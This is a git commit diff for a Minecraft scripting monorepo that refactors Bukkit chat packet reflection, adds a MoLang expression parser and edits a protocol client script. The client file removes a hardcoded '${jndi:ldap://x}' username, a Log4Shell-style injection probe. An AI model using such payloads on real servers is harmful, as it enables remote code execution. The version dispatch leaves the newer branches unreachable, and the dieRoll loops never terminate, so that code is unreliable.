feat: add molang package

1. upgrade bukkit chat
2. fix config update error

Signed-off-by: MiaoWoo <admin@yumc.pw>

package.json

@@ -9,8 +9,7 @@
         "bs": "lerna bootstrap",
         "clean": "lerna run clean",
         "watch": "lerna run watch --parallel",
-        "build": "lerna run build --scope=\"@ccms/!(plugins)\"",
+        "build": "lerna run build",
-        "build:plugins": "lerna run build --scope=\"@ccms/plugins\"",
         "ug": "yarn upgrade-interactive --latest",
         "np": "./script/push.sh",
         "lsp": "npm login --registry=https://registry.npmjs.org --scope=@ccms",

packages/bukkit/src/enhance/chat.ts

@@ -1,132 +1,175 @@
 /*global Java, base, module, exports, require*/
-let ChatSerializer: any
+let bukkitChatInvoke: BukkitChatInvoke
-let nmsChatSerializerMethodName: string
-let PacketPlayOutChat: any
-let chatMessageTypes: any
-
-let RemapUtils: any
-
-let playerConnectionFieldName: string
-let sendPacketMethodName: string
-
-let above_1_16 = false
-let downgrade = false
-/**
- * 获取NMS版本
- */
-let nmsVersion = undefined
-let nmsSubVersion = undefined
 /**
  * 获取NMS类
  */
-function nmsCls(name: string) {
+abstract class BukkitChatInvoke {
-    return base.getClass(['net.minecraft.server', nmsVersion, name].join('.'))
+    private downgrade: boolean = false
+    protected RemapUtils: any
+
+    protected ChatSerializer: any
+    protected nmsChatSerializerMethodName: string
+    protected PacketPlayOutChat: any
+    protected chatMessageTypes: any
+    protected playerConnectionFieldName: string
+    protected sendPacketMethodName: string
+
+    constructor(private nmsVersion) {
     }
 
-function remapMethod(clazz: any, origin: string, test: string, params: any) {
+    init() {
+        try {
+            try {
+                this.RemapUtils = Java.type('catserver.server.remapper.RemapUtils')
+            } catch (ex: any) {
+            }
+            let nmsChatSerializerClass = this.getNmsChatSerializerClass()
+            let nmsChatSerializerMethod = this.remapMethod(nmsChatSerializerClass, 'a', 'func_150699_a', base.getClass('java.lang.String'))
+            this.nmsChatSerializerMethodName = nmsChatSerializerMethod.getName()
+            this.ChatSerializer = Java.type(nmsChatSerializerClass.getName())
+            let packetTypeClass = this.getPacketPlayOutChatClass()
+            this.PacketPlayOutChat = Java.type(packetTypeClass.getName())
+            let packetTypeConstructor: { parameterTypes: any[] }
+            let constructors = packetTypeClass.constructors
+            Java.from(constructors).forEach(function (c) {
+                if (c.parameterTypes.length === 2 || c.parameterTypes.length === 3) {
+                    packetTypeConstructor = c
+                }
+            })
+            let parameterTypes = packetTypeConstructor.parameterTypes
+            let nmsChatMessageTypeClass = parameterTypes[1]
+            if (nmsChatMessageTypeClass.isEnum()) {
+                this.chatMessageTypes = nmsChatMessageTypeClass.getEnumConstants()
+            }
+            let playerConnectionField = this.getPlayerConnectionField()
+            this.playerConnectionFieldName = playerConnectionField.getName()
+            this.sendPacketMethodName = this.remapMethod(playerConnectionField.getType(), 'sendPacket', 'func_179290_a', this.getPacketClass()).getName()
+        } catch (ex: any) {
+            org.bukkit.Bukkit.getConsoleSender().sendMessage(`§6[§cMS§6][§bbukkit§6][§achat§6] §cNMS Inject Error §4${ex} §cDowngrade to Command Mode...`)
+            this.downgrade = true
+        }
+    }
+
+    abstract getNmsChatSerializerClass()
+    abstract getPacketPlayOutChatClass()
+    abstract getPacketPlayOutChat(sender: any, json: any, type: number)
+    abstract getPlayerConnectionField()
+    abstract getPacketClass()
+
+    nmsCls(name: string) {
+        return base.getClass(['net.minecraft.server', this.nmsVersion, name].join('.'))
+    }
+
+    remapMethod(clazz: any, origin: string, test: string, params: any) {
         try {
             return clazz.getMethod(origin, params)
         } catch (ex: any) {
-        if (RemapUtils) {
+            if (this.RemapUtils) {
-            return clazz.getMethod(RemapUtils.mapMethod(clazz, origin, params), params)
+                return clazz.getMethod(this.RemapUtils.mapMethod(clazz, origin, params), params)
             } else {
                 return clazz.getMethod(test, params)
             }
         }
     }
 
-function remapFieldName(clazz: any, origin: string, test: string) {
+    remapFieldName(clazz: any, origin: string, test: string) {
         try {
             return clazz.getField(origin)
         } catch (ex: any) {
-        if (RemapUtils) {
+            if (this.RemapUtils) {
-            return clazz.getField(RemapUtils.mapFieldName(clazz, origin))
+                return clazz.getField(this.RemapUtils.mapFieldName(clazz, origin))
             } else {
                 return clazz.getField(test)
             }
         }
     }
 
-function init() {
+    json(sender: { name: string }, json: string) {
-    //@ts-ignore
+        if (this.downgrade) {
-    nmsVersion = org.bukkit.Bukkit.server.class.name.split('.')[3]
-    nmsSubVersion = nmsVersion.split("_")[1]
-    try {
-        RemapUtils = Java.type('catserver.server.remapper.RemapUtils')
-    } catch (ex: any) {
-    }
-    let nmsChatSerializerClass = undefined
-    if (nmsSubVersion < 8) {
-        nmsChatSerializerClass = nmsCls("ChatSerializer")
-    } else if (nmsSubVersion < 17) {
-        nmsChatSerializerClass = nmsCls("IChatBaseComponent$ChatSerializer")
-    } else {
-        nmsChatSerializerClass = base.getClass('net.minecraft.network.chat.IChatBaseComponent$ChatSerializer')
-    }
-    let nmsChatSerializerMethod = remapMethod(nmsChatSerializerClass, 'a', 'func_150699_a', base.getClass('java.lang.String'))
-    nmsChatSerializerMethodName = nmsChatSerializerMethod.getName()
-    ChatSerializer = Java.type(nmsChatSerializerClass.getName())
-    let packetTypeClass = nmsSubVersion < 17 ? nmsCls("PacketPlayOutChat") : base.getClass('net.minecraft.network.protocol.game.PacketPlayOutChat')
-    PacketPlayOutChat = Java.type(packetTypeClass.getName())
-    let packetTypeConstructor: { parameterTypes: any[] }
-    let constructors = packetTypeClass.constructors
-    Java.from(constructors).forEach(function (c) {
-        if (c.parameterTypes.length === 2) {
-            packetTypeConstructor = c
-        }
-        if (c.parameterTypes.length === 3) {
-            packetTypeConstructor = c
-            above_1_16 = true
-        }
-    })
-    let parameterTypes = packetTypeConstructor.parameterTypes
-    let nmsChatMessageTypeClass = parameterTypes[1]
-    if (nmsChatMessageTypeClass.isEnum()) {
-        chatMessageTypes = nmsChatMessageTypeClass.getEnumConstants()
-    }
-    let playerConnectionField = undefined
-    if (nmsSubVersion < 17) {
-        playerConnectionField = remapFieldName(nmsCls('EntityPlayer'), 'playerConnection', 'field_71135_a')
-    } else {
-        playerConnectionField = base.getClass('net.minecraft.server.level.EntityPlayer').getField('b')
-    }
-    playerConnectionFieldName = playerConnectionField.getName()
-    sendPacketMethodName = remapMethod(playerConnectionField.getType(), 'sendPacket', 'func_179290_a', nmsSubVersion < 17 ? nmsCls('Packet') : base.getClass('net.minecraft.network.protocol.Packet')).getName()
-}
-
-function json(sender: { name: string }, json: string) {
-    if (downgrade) {
             return '/tellraw ' + sender.name + ' ' + json
         } else {
-        send(sender, json, 0)
+            this.send(sender, json, 0)
             return false
         }
     }
-
+    send(sender: any, json: any, type: number) {
-function send(sender: any, json: any, type: number) {
+        this.sendPacket(sender, this.getPacketPlayOutChat(sender, json, type))
-    let packet
+    }
-    if (above_1_16) {
+    sendPacket(player: { handle: { [x: string]: { [x: string]: (arg0: any) => void } } }, p: any) {
-        packet = new PacketPlayOutChat(ChatSerializer[nmsChatSerializerMethodName](json), chatMessageTypes == null ? type : chatMessageTypes[type], sender.getUniqueId())
+        player.handle[this.playerConnectionFieldName][this.sendPacketMethodName](p)
-    } else {
-        packet = new PacketPlayOutChat(ChatSerializer[nmsChatSerializerMethodName](json), chatMessageTypes == null ? type : chatMessageTypes[type])
     }
-    sendPacket(sender, packet)
 }
 
-function sendPacket(player: { handle: { [x: string]: { [x: string]: (arg0: any) => void } } }, p: any) {
+class BukkitChatInvokeBase extends BukkitChatInvoke {
-    player.handle[playerConnectionFieldName][sendPacketMethodName](p)
+    getPacketPlayOutChat(sender: any, json: any, type: number) {
+        return new this.PacketPlayOutChat(this.ChatSerializer[this.nmsChatSerializerMethodName](json), type)
+    }
+    getNmsChatSerializerClass() {
+        return this.nmsCls("ChatSerializer")
+    }
+    getPacketPlayOutChatClass() {
+        return this.nmsCls("PacketPlayOutChat")
+    }
+    getPlayerConnectionField() {
+        return this.remapFieldName(this.nmsCls('EntityPlayer'), 'playerConnection', 'field_71135_a')
+    }
+    getPacketClass() {
+        return this.nmsCls('Packet')
+    }
+}
+
+class BukkitChatInvoke_1_7_10 extends BukkitChatInvokeBase {
+}
+
+class BukkitChatInvoke_1_8 extends BukkitChatInvoke_1_7_10 {
+    getPacketPlayOutChat(sender: any, json: any, type: number) {
+        return new this.PacketPlayOutChat(this.ChatSerializer[this.nmsChatSerializerMethodName](json), this.chatMessageTypes[type])
+    }
+    getNmsChatSerializerClass() {
+        return this.nmsCls("IChatBaseComponent$ChatSerializer")
+    }
+}
+class BukkitChatInvoke_1_16_5 extends BukkitChatInvoke_1_8 {
+    getPacketPlayOutChat(sender: any, json: any, type: number) {
+        return new this.PacketPlayOutChat(this.ChatSerializer[this.nmsChatSerializerMethodName](json), this.chatMessageTypes[type], sender.getUniqueId())
+    }
+}
+
+class BukkitChatInvoke_1_17_1 extends BukkitChatInvoke_1_16_5 {
+    getPacketPlayOutChatClass() {
+        return base.getClass('net.minecraft.network.protocol.game.PacketPlayOutChat')
+    }
+    getNmsChatSerializerClass() {
+        return base.getClass('net.minecraft.network.chat.IChatBaseComponent$ChatSerializer')
+    }
+    getPlayerConnectionField() {
+        return base.getClass('net.minecraft.server.level.EntityPlayer').getField('b')
+    }
+    getPacketClass() {
+        return base.getClass('net.minecraft.network.protocol.Packet')
+    }
 }
 
 try {
-    init()
+    //@ts-ignore
+    let nmsVersion = org.bukkit.Bukkit.server.class.name.split('.')[3]
+    let nmsSubVersion = nmsVersion.split("_")[1]
+    if (nmsSubVersion >= 8) {
+        bukkitChatInvoke = new BukkitChatInvoke_1_8(nmsVersion)
+    } else if (nmsSubVersion >= 16) {
+        bukkitChatInvoke = new BukkitChatInvoke_1_16_5(nmsVersion)
+    } else if (nmsSubVersion >= 17) {
+        bukkitChatInvoke = new BukkitChatInvoke_1_17_1(nmsVersion)
+    } else {
+        bukkitChatInvoke = new BukkitChatInvoke_1_7_10(nmsVersion)
+    }
+    bukkitChatInvoke.init()
 } catch (ex: any) {
-    org.bukkit.Bukkit.getConsoleSender().sendMessage(`§6[§cMS§6][§bbukkit§6][§achat§6] §cNMS Inject Error §4${ex} §cDowngrade to Command Mode...`)
-    downgrade = true
 }
 
 let chat = {
-    json,
+    json: bukkitChatInvoke.json.bind(bukkitChatInvoke),
-    send
+    send: bukkitChatInvoke.send.bind(bukkitChatInvoke)
 }
 
 export default chat

packages/client/.gitignore

@@ -0,0 +1 @@
+src/emp.ts

packages/client/package.json

@@ -26,6 +26,7 @@
     "dependencies": {
         "axios": "^0.24.0",
         "minecraft-protocol": "^1.29.0",
+        "minecraft-protocol-forge": "^1.0.0",
         "proxy-agent": "^5.0.0"
     },
     "devDependencies": {

packages/client/src/index.ts

@@ -1,29 +1,13 @@
 import { createInterface } from 'readline'
-import { createClient } from 'minecraft-protocol'
+import { Client, createClient } from 'minecraft-protocol'
 
 import { attachForge } from './forge'
 import { attachEvents } from './event'
 
-
+let readUserInfo = process.argv[2] || 'Mr_jtb'
-
+let realUserInfo = readUserInfo.split(":")
-
+let username = realUserInfo[0]
-
+let password = realUserInfo[1] || ''
-
-
-
-
-
-
-
-
-
-
-
-// let readUserInfo = process.argv[2] || 'Mr_jtb'
-// let realUserInfo = readUserInfo.split(":")
-// let username = realUserInfo[0]
-let username = '${jndi:ldap://x}'
-let password = '';//realUserInfo[1] || ''
 let version = process.argv[3] || '1.12.2'
 let readAddress = process.argv[4] || '192.168.2.25:25565'
 let realAddress = readAddress.split(":")
@@ -60,7 +44,24 @@ function createConnection(host: string, port: number, username: string, password
     return client
 }
 
-function attachCommon(client) {
+function attachCommon(client: Client) {
+    client.on('login', () => {
+        // client.registerChannel('updater', ['string', []])
+        // client.registerChannel('updater-enabled', ['string', []])
+        // client.registerChannel('dragoncore', ['string', []])
+        // client.registerChannel('dragoncore:main', ['string', []])
+        client.on('REGISTER', (array) => {
+            for (const channel of array) {
+                client.on('channel', console.log)
+            }
+        })
+        // client.on('dragoncore:main', (data) => {
+        //     console.log(data)
+        // })
+    })
+    client.on('custom_payload', (data) => {
+        console.log('custom_payload' + JSON.stringify(data))
+    })
     client.on('error', (error) => {
         console.log("Client Error", error)
     })

packages/molang/.gitignore

@@ -0,0 +1,6 @@
+node_modules
+perf/*
+
+
+tsconfig.tsbuildinfo
+.DS_STORE

packages/molang/package.json

@@ -0,0 +1,29 @@
+{
+    "name": "@ccms/molang",
+    "version": "0.17.0",
+    "description": "A fast parser for Minecraft's MoLang",
+    "main": "dist/index.js",
+    "types": "dist/index.d.ts",
+    "scripts": {
+        "clean": "rimraf dist",
+        "watch": "tsc --watch",
+        "build": "yarn clean && tsc",
+        "test": "echo \"Error: run tests from root\" && exit 1"
+    },
+    "repository": {
+        "type": "git",
+        "url": "git+https://github.com/solvedDev/MoLang.git"
+    },
+    "author": "solvedDev",
+    "license": "MIT",
+    "bugs": {
+        "url": "https://github.com/solvedDev/MoLang/issues"
+    },
+    "homepage": "https://github.com/solvedDev/MoLang#readme",
+    "devDependencies": {
+        "@types/node": "^13.1.2",
+        "tslib": "^2.3.1",
+        "rimraf": "^3.0.2",
+        "typescript": "^4.5.3"
+    }
+}

packages/molang/src/MoLang.ts

@@ -0,0 +1,129 @@
+import { ExecutionEnvironment } from './env/env'
+import { IExpression, IParserConfig } from './main'
+import { StaticExpression } from './parser/expressions/static'
+import { StringExpression } from './parser/expressions/string'
+import { MoLangParser } from './parser/molang'
+
+export class MoLang {
+	protected expressionCache: Record<string, IExpression> = {}
+	protected totalCacheEntries = 0
+	protected executionEnvironment!: ExecutionEnvironment
+
+	protected parser: MoLangParser
+
+	constructor(
+		env: Record<string, unknown> = {},
+		protected config: Partial<IParserConfig> = {}
+	) {
+		if (config.useOptimizer === undefined) this.config.useOptimizer = true
+		if (config.useCache === undefined) this.config.useCache = true
+		if (config.earlyReturnsSkipParsing === undefined)
+			this.config.earlyReturnsSkipParsing = true
+		if (config.earlyReturnsSkipTokenization === undefined)
+			this.config.earlyReturnsSkipTokenization = true
+		if (config.convertUndefined === undefined)
+			this.config.convertUndefined = false
+
+		this.parser = new MoLangParser({
+			...this.config,
+			tokenizer: undefined,
+		})
+
+		this.updateExecutionEnv(env)
+	}
+
+	updateConfig(newConfig: Partial<IParserConfig>) {
+		newConfig = Object.assign(this.config, newConfig)
+
+		if (newConfig.tokenizer) this.parser.setTokenizer(newConfig.tokenizer)
+		this.parser.updateConfig({ ...this.config, tokenizer: undefined })
+		this.executionEnvironment.updateConfig(newConfig)
+	}
+	updateExecutionEnv(env: Record<string, unknown>, isFlat = false) {
+		this.executionEnvironment = new ExecutionEnvironment(env, {
+			useRadians: this.config.useRadians,
+			convertUndefined: this.config.convertUndefined,
+			isFlat,
+			variableHandler: this.config.variableHandler,
+		})
+		this.parser.setExecutionEnvironment(this.executionEnvironment)
+	}
+	/**
+	 * Clears the MoLang expression cache
+	 */
+	clearCache() {
+		this.expressionCache = {}
+		this.totalCacheEntries = 0
+	}
+
+	/**
+	 * Execute the given MoLang string `expression`
+	 * @param expression The MoLang string to execute
+	 *
+	 * @returns The value the MoLang expression corresponds to
+	 */
+	execute(expression: string) {
+		this.parser.setExecutionEnvironment(this.executionEnvironment)
+		const abstractSyntaxTree = this.parse(expression)
+
+		const result = abstractSyntaxTree.eval()
+		if (result === undefined) return 0
+		if (typeof result === 'boolean') return Number(result)
+		return result
+	}
+	/**
+	 * Execute the given MoLang string `expression`
+	 * In case of errors, return 0
+	 * @param expression The MoLang string to execute
+	 *
+	 * @returns The value the MoLang expression corresponds to and 0 if the statement is invalid
+	 */
+	executeAndCatch(expression: string) {
+		try {
+			return this.execute(expression)
+		} catch {
+			return 0
+		}
+	}
+
+	/**
+	 * Parse the given MoLang string `expression`
+	 * @param expression The MoLang string to parse
+	 *
+	 * @returns An AST that corresponds to the MoLang expression
+	 */
+	parse(expression: string): IExpression {
+		if (this.config.useCache ?? true) {
+			const abstractSyntaxTree = this.expressionCache[expression]
+			if (abstractSyntaxTree) return abstractSyntaxTree
+		}
+
+		this.parser.init(expression)
+		let abstractSyntaxTree = this.parser.parseExpression()
+		if ((this.config.useOptimizer ?? true) && abstractSyntaxTree.isStatic())
+			abstractSyntaxTree = new StaticExpression(abstractSyntaxTree.eval())
+		// console.log(JSON.stringify(abstractSyntaxTree, null, '  '))
+
+		if (this.config.useCache ?? true) {
+			if (this.totalCacheEntries > (this.config.maxCacheSize || 256))
+				this.clearCache()
+
+			this.expressionCache[expression] = abstractSyntaxTree
+			this.totalCacheEntries++
+		}
+
+		return abstractSyntaxTree
+	}
+
+	resolveStatic(ast: IExpression) {
+		ast.walk((expr) => {
+			if (expr instanceof StringExpression) return
+
+			if (expr.isStatic()) return new StaticExpression(expr.eval())
+		})
+	}
+
+	getParser() {
+		return this.parser
+	}
+}

packages/molang/src/custom/function.ts

@@ -0,0 +1,93 @@
+import { Parser } from '../parser/parse'
+import { Token } from '../parser/../tokenizer/token'
+import { IPrefixParselet } from '../parser/parselets/prefix'
+import { Expression, IExpression } from '../parser/expression'
+import { StringExpression } from '../parser/expressions/string'
+import { StatementExpression } from '../parser/expressions/statement'
+import { CustomMoLangParser } from './main'
+import { GroupExpression } from '../parser/expressions/group'
+
+export class CustomFunctionParselet implements IPrefixParselet {
+	constructor(public precedence = 0) {}
+
+	parse(parser: Parser, token: Token) {
+		parser.consume('LEFT_PARENT')
+		if (parser.match('RIGHT_PARENT'))
+			throw new Error(`function() called without arguments`)
+
+		let args: string[] = []
+		let functionBody: IExpression | undefined
+		let functionName: string | undefined
+		do {
+			const expr = parser.parseExpression()
+			if (expr instanceof StringExpression) {
+				if (!functionName) functionName = <string>expr.eval()
+				else args.push(<string>expr.eval())
+			} else if (
+				expr instanceof StatementExpression ||
+				expr instanceof GroupExpression
+			) {
+				functionBody = expr
+			} else {
+				throw new Error(
+					`Unexpected expresion: found "${expr.constructor.name}"`
+				)
+			}
+		} while (parser.match('COMMA'))
+		parser.consume('RIGHT_PARENT')
+
+		if (!functionName)
+			throw new Error(
+				`Missing function() name (argument 1); found "${functionName}"`
+			)
+		if (!functionBody)
+			throw new Error(
+				`Missing function() body (argument ${args.length + 2})`
+			)
+
+		return new CustomFunctionExpression(
+			(<CustomMoLangParser>parser).functions,
+			functionName,
+			args,
+			functionBody
+		)
+	}
+}
+
+class CustomFunctionExpression extends Expression {
+	type = 'CustomFunctionExpression'
+	constructor(
+		functions: Map<string, [string[], string]>,
+		functionName: string,
+		args: string[],
+		protected functionBody: IExpression
+	) {
+		super()
+		functions.set(functionName, [
+			args,
+			functionBody instanceof GroupExpression
+				? functionBody.allExpressions[0].toString()
+				: functionBody.toString(),
+		])
+	}
+
+	get allExpressions() {
+		return [this.functionBody]
+	}
+	setExpressionAt(_: number, expr: IExpression) {
+		this.functionBody = expr
+	}
+
+	get isReturn() {
+		// Scopes inside of functions may use return statements
+		return false
+	}
+
+	isStatic() {
+		return true
+	}
+
+	eval() {
+		return 0
+	}
+}

packages/molang/src/custom/main.ts

@@ -0,0 +1,229 @@
+import { ExecutionEnvironment } from '../env/env'
+import { IParserConfig } from '../main'
+import { MoLangParser } from '../parser/molang'
+import { Tokenizer } from '../tokenizer/Tokenizer'
+import { CustomFunctionParselet } from './function'
+import { MoLang } from '../MoLang'
+import { StatementExpression } from '../parser/expressions/statement'
+import { transformStatement } from './transformStatement'
+import { NameExpression } from '../parser/expressions/name'
+import { ReturnExpression } from '../parser/expressions/return'
+import { GenericOperatorExpression } from '../parser/expressions/genericOperator'
+import { TernaryExpression } from '../parser/expressions/ternary'
+import { IExpression } from '../parser/expression'
+import { VoidExpression } from '../parser/expressions/void'
+import { GroupExpression } from '../parser/expressions/group'
+
+export class CustomMoLangParser extends MoLangParser {
+	public readonly functions = new Map<string, [string[], string]>()
+
+	constructor(config: Partial<IParserConfig>) {
+		super(config)
+		this.registerPrefix('FUNCTION', new CustomFunctionParselet())
+	}
+
+	reset() {
+		this.functions.clear()
+	}
+}
+
+export class CustomMoLang {
+	protected parser: CustomMoLangParser
+
+	constructor(env: any) {
+		this.parser = new CustomMoLangParser({
+			useCache: false,
+			useOptimizer: true,
+			useAgressiveStaticOptimizer: true,
+			keepGroups: true,
+			earlyReturnsSkipParsing: false,
+			earlyReturnsSkipTokenization: false,
+		})
+		this.parser.setExecutionEnvironment(
+			new ExecutionEnvironment(this.parser, env)
+		)
+		this.parser.setTokenizer(new Tokenizer(new Set(['function'])))
+	}
+
+	get functions() {
+		return this.parser.functions
+	}
+
+	parse(expression: string) {
+		this.parser.init(expression)
+		const abstractSyntaxTree = this.parser.parseExpression()
+
+		return abstractSyntaxTree
+	}
+
+	transform(source: string) {
+		const molang = new MoLang(
+			{},
+			{
+				useCache: false,
+				keepGroups: true,
+				useOptimizer: true,
+				useAgressiveStaticOptimizer: true,
+				earlyReturnsSkipParsing: true,
+				earlyReturnsSkipTokenization: false,
+			}
+		)
+
+		let totalScoped = 0
+		let ast = molang.parse(source)
+
+		let isComplexExpression = false
+		if (ast instanceof StatementExpression) {
+			isComplexExpression = true
+		}
+
+		let containsComplexExpressions = false
+		ast = ast.walk((expr: any) => {
+			// Only run code on function expressions which start with "f." or "function."
+			if (
+				expr.type !== 'FunctionExpression' ||
+				(!expr.name.name.startsWith?.('f.') &&
+					!expr.name.name.startsWith?.('function.'))
+			)
+				return
+
+			const nameExpr = expr.name
+			const functionName = nameExpr.name.replace(/(f|function)\./g, '')
+			const argValues = expr.args
+
+			let [args, functionBody] = this.functions.get(functionName) ?? []
+			if (!functionBody || !args) return
+
+			// Insert argument values
+			functionBody = functionBody.replace(
+				/(a|arg)\.(\w+)/g,
+				(match, prefix, argName) => {
+					const val =
+						argValues[args!.indexOf(argName)]?.toString() ?? '0'
+
+					return val.replace(/(t|temp)\./, 'outer_temp.')
+				}
+			)
+
+			let funcAst = transformStatement(molang.parse(functionBody))
+			if (funcAst instanceof StatementExpression) {
+				funcAst = molang.parse(`({${functionBody}}+t.return_value)`)
+
+				containsComplexExpressions = true
+			}
+
+			const varNameMap = new Map<string, string>()
+			funcAst = funcAst.walk((expr) => {
+				if (expr instanceof NameExpression) {
+					const fullName = expr.toString()
+					// Remove "a."/"t."/etc. from var name
+					let tmp = fullName.split('.')
+					const varType = tmp.shift()
+					const varName = tmp.join('.')
+
+					if (varType === 't' || varType === 'temp') {
+						// Scope temp./t. variables to functions
+						let newName = varNameMap.get(fullName)
+						if (!newName) {
+							newName = `t.__scvar${totalScoped++}`
+							varNameMap.set(fullName, newName)
+						}
+
+						expr.setName(newName)
+					} else if (varType === 'outer_temp') {
+						expr.setName(`t.${varName}`)
+					}
+
+					return undefined
+				} else if (expr instanceof ReturnExpression) {
+					const nameExpr = new NameExpression(
+						molang.getParser().executionEnv,
+						't.return_value'
+					)
+					const returnValExpr = expr.allExpressions[0]
+
+					return new GenericOperatorExpression(
+						nameExpr,
+						returnValExpr,
+						'=',
+						() => {
+							nameExpr.setPointer(returnValExpr.eval())
+						}
+					)
+				} else if (expr instanceof StatementExpression) {
+					// Make early returns work correctly by adjusting ternary statements which contain return statements
+					const expressions: IExpression[] = []
+
+					for (let i = 0; i < expr.allExpressions.length; i++) {
+						const currExpr = expr.allExpressions[i]
+
+						if (
+							currExpr instanceof TernaryExpression &&
+							currExpr.hasReturn
+						) {
+							handleTernary(
+								currExpr,
+								expr.allExpressions.slice(i + 1)
+							)
+
+							expressions.push(currExpr)
+							break
+						} else if (currExpr.isReturn) {
+							expressions.push(currExpr)
+							break
+						}
+
+						expressions.push(currExpr)
+					}
+
+					return new StatementExpression(expressions)
+				}
+			})
+
+			return funcAst
+		})
+
+		const finalAst = molang.parse(ast.toString())
+		molang.resolveStatic(finalAst)
+		return !isComplexExpression && containsComplexExpressions
+			? `return ${finalAst.toString()};`
+			: finalAst.toString()
+	}
+
+	reset() {
+		this.functions.clear()
+	}
+}
+
+function handleTernary(
+	returnTernary: TernaryExpression,
+	currentExpressions: IExpression[]
+) {
+	// If & else branch end with return statements -> we can omit everything after the ternary
+	if (returnTernary.isReturn) return
+
+	const notReturningBranchIndex = returnTernary.allExpressions[2].isReturn
+		? 1
+		: 2
+	const notReturningBranch =
+		returnTernary.allExpressions[notReturningBranchIndex]
+
+	if (!(notReturningBranch instanceof VoidExpression)) {
+		if (
+			notReturningBranch instanceof GroupExpression &&
+			notReturningBranch.allExpressions[0] instanceof StatementExpression
+		) {
+			currentExpressions.unshift(...notReturningBranch.allExpressions)
+		} else {
+			currentExpressions.unshift(notReturningBranch)
+		}
+	}
+	if (currentExpressions.length > 0)
+		returnTernary.setExpressionAt(
+			notReturningBranchIndex,
+			new GroupExpression(
+				new StatementExpression(currentExpressions),
+				'{}'
+			)
+		)
+}

packages/molang/src/custom/transformStatement.ts

@@ -0,0 +1,19 @@
+import { IExpression } from '../parser/expression'
+import { GroupExpression } from '../parser/expressions/group'
+import { ReturnExpression } from '../parser/expressions/return'
+import { StatementExpression } from '../parser/expressions/statement'
+
+export function transformStatement(expression: IExpression) {
+	if (expression instanceof ReturnExpression)
+		return new GroupExpression(expression.allExpressions[0], '()')
+	if (!(expression instanceof StatementExpression)) return expression
+	if (expression.allExpressions.length > 1) return expression
+
+	// Only one statement, test whether it is a return statement
+	const expr = expression.allExpressions[0]
+	if (expr instanceof ReturnExpression) {
+		return new GroupExpression(expr.allExpressions[0], '()')
+	} else {
+		return expression
+	}
+}

packages/molang/src/env/env.ts

@@ -0,0 +1,143 @@
+import { standardEnv } from './standardEnv'
+
+export type TVariableHandler = (
+	variableName: string,
+	variables: Record<string, unknown>
+) => unknown
+
+export interface IEnvConfig {
+	useRadians?: boolean
+	convertUndefined?: boolean
+	variableHandler?: TVariableHandler
+	isFlat?: boolean
+}
+
+export class ExecutionEnvironment {
+	protected env: Record<string, any>
+
+	constructor(env: Record<string, any>, public readonly config: IEnvConfig) {
+		if (!env) throw new Error(`Provided environment must be an object`)
+
+		if (config.isFlat)
+			this.env = Object.assign(
+				env,
+				standardEnv(config.useRadians ?? false)
+			)
+		else
+			this.env = {
+				...standardEnv(config.useRadians ?? false),
+				...this.flattenEnv(env),
+			}
+	}
+
+	updateConfig({
+		variableHandler,
+		convertUndefined,
+		useRadians,
+	}: IEnvConfig) {
+		if (convertUndefined !== undefined)
+			this.config.convertUndefined = convertUndefined
+		if (typeof variableHandler === 'function')
+			this.config.variableHandler = variableHandler
+
+		if (!!this.config.useRadians !== !!useRadians) {
+			this.env = Object.assign(this.env, standardEnv(!!useRadians))
+		}
+	}
+
+	protected flattenEnv(
+		newEnv: Record<string, any>,
+		addKey = '',
+		current: any = {}
+	) {
+		for (let key in newEnv) {
+			if (key[1] === '.') {
+				switch (key[0]) {
+					case 'q':
+						key = 'query' + key.substring(1, key.length)
+						break
+					case 't':
+						key = 'temp' + key.substring(1, key.length)
+						break
+					case 'v':
+						key = 'variable' + key.substring(1, key.length)
+						break
+					case 'c':
+						key = 'context' + key.substring(1, key.length)
+						break
+					case 'f':
+						key = 'function' + key.substring(1, key.length)
+						break
+				}
+			}
+
+			if (newEnv[key].__isContext) {
+				current[`${addKey}${key}`] = newEnv[key].env
+			} else if (
+				typeof newEnv[key] === 'object' &&
+				!Array.isArray(newEnv[key])
+			) {
+				this.flattenEnv(newEnv[key], `${addKey}${key}.`, current)
+			} else {
+				current[`${addKey}${key}`] = newEnv[key]
+			}
+		}
+
+		return current
+	}
+
+	setAt(lookup: string, value: unknown) {
+		if (lookup[1] === '.') {
+			switch (lookup[0]) {
+				case 'q':
+					lookup = 'query' + lookup.substring(1, lookup.length)
+					break
+				case 't':
+					lookup = 'temp' + lookup.substring(1, lookup.length)
+					break
+				case 'v':
+					lookup = 'variable' + lookup.substring(1, lookup.length)
+					break
+				case 'c':
+					lookup = 'context' + lookup.substring(1, lookup.length)
+					break
+				case 'f':
+					lookup = 'function' + lookup.substring(1, lookup.length)
+					break
+			}
+		}
+
+		return (this.env[lookup] = value)
+	}
+
+	getFrom(lookup: string) {
+		if (lookup[1] === '.') {
+			switch (lookup[0]) {
+				case 'q':
+					lookup = 'query' + lookup.substring(1, lookup.length)
+					break
+				case 't':
+					lookup = 'temp' + lookup.substring(1, lookup.length)
+					break
+				case 'v':
+					lookup = 'variable' + lookup.substring(1, lookup.length)
+					break
+				case 'c':
+					lookup = 'context' + lookup.substring(1, lookup.length)
+					break
+				case 'f':
+					lookup = 'function' + lookup.substring(1, lookup.length)
+					break
+			}
+		}
+
+		const res =
+			this.env[lookup] ?? this.config.variableHandler?.(lookup, this.env)
+		return res === undefined && this.config.convertUndefined ? 0 : res
+	}
+}
+
+export class Context {
+	public readonly __isContext = true
+	constructor(public readonly env: any) {}
+}

packages/molang/src/env/math.ts

@@ -0,0 +1,86 @@
+const clamp = (value: number, min: number, max: number) => {
+	if (typeof value !== 'number' || Number.isNaN(value)) return min
+	else if (value > max) return max
+	else if (value < min) return min
+	return value
+}
+const dieRoll = (sum: number, low: number, high: number) => {
+	let i = 0
+	let total = 0
+	while (i < sum) total += random(low, high)
+	return total
+}
+const dieRollInt = (sum: number, low: number, high: number) => {
+	let i = 0
+	let total = 0
+	while (i < sum) total += randomInt(low, high)
+	return total
+}
+const hermiteBlend = (value: number) => 3 * value ** 2 - 2 * value ** 3
+const lerp = (start: number, end: number, amount: number) => {
+	if (amount < 0) amount = 0
+	else if (amount > 1) amount = 1
+
+	return start + (end - start) * amount
+}
+// Written by @JannisX11 (https://github.com/JannisX11/MolangJS/blob/master/molang.js#L383); modified for usage inside of this MoLang parser
+const lerprotate = (start: number, end: number, amount: number) => {
+	const radify = (n: number) => (((n + 180) % 360) + 180) % 360
+	start = radify(start)
+	end = radify(end)
+	if (start > end) {
+		let tmp = start
+		start = end
+		end = tmp
+	}
+
